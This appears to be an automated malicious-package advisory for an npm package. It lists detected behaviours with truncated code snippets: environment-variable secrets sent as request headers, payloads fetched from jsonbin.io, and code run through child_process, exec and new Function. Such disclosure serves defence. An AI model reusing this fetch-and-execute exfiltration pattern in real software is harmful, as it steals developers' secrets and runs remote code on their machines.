GCVE-110-OSM-2026-10003

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY dist/index.js (main: dist/index.js) DESTINATION - 3 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in dist/index.js: "process.env.LANG_PASS_KEY || "x-secret-key"; var lang_pass_value = process.env.L..." - Environment Variable Exfiltration in dist/index.mjs: "process.env.LANG_PASS_KEY || "x-secret-key"; const lang_pass_value = process.env..." - Fetch and Eval/Exec in dist/index.mjs: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..." - Environment Variable Exfiltration in dist/utils.js: "process.env.LANG_PASS_KEY || "x-secret-key"; var lang_pass_value = process.env.L..." - Fetch and Eval/Exec in dist/utils.js: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..." - Environment Variable Exfiltration in dist/utils.mjs: "process.env.LANG_PASS_KEY || "x-secret-key"; const lang_pass_value = process.env..." - Fetch and Eval/Exec in dist/utils.mjs: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..." - Payload Download from Paste Service in dist/index.js: "jsonbin.io" (+7 more) ADDITIONAL FINDINGS - Download Execute Delete Pattern in dist/index.js: "writeFileSync(tempFile, scriptContent); try { var result = await exec('node "' +..." - Shell Command Execution in dist/index.js: "require('child_process')" - Dynamic Code Execution in dist/index.mjs: "new Function("require", payload)" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES dist/index.mjs (+ dist/utils.js, dist/utils.mjs)